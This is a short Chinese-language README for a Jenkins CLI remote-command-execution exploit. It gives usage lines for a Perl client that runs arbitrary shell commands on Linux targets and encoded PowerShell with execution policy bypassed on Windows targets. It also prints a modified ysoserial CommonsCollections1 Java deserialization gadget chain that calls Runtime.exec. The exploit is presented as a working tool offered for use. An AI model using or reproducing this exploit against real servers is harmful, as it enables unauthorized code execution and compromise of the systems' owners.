jenkins-cli-exploit

花时间学了一下 transformer，这个版本支持任意命令！

安装环境

cpan IPC::Run

利用方法

./client.pl --url http://127.0.0.1:8080/jenkins/ --os linux --cmd '{ whoami; ls -lh; } > /tmp/hacked'
./client.pl --url http://127.0.0.1:8080/jenkins/ --os win --cmd 'powershell -ep bypass -enc xxxxx'

来个截图，

源代码

官方的 ysoserial 实现存在缺陷，不能正确执行任意命令，已经改掉，现在支持两个新的 Collection,

分别为，

CommonsCollections1Linux
CommonsCollections1Win

修改点，你懂的，

		final String[] execArgs = new String[] { "sh", "-c", command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[] {
                        execArgs }),
				new ConstantTransformer(1) };

代码懒得上传了，直接用lib的就可以
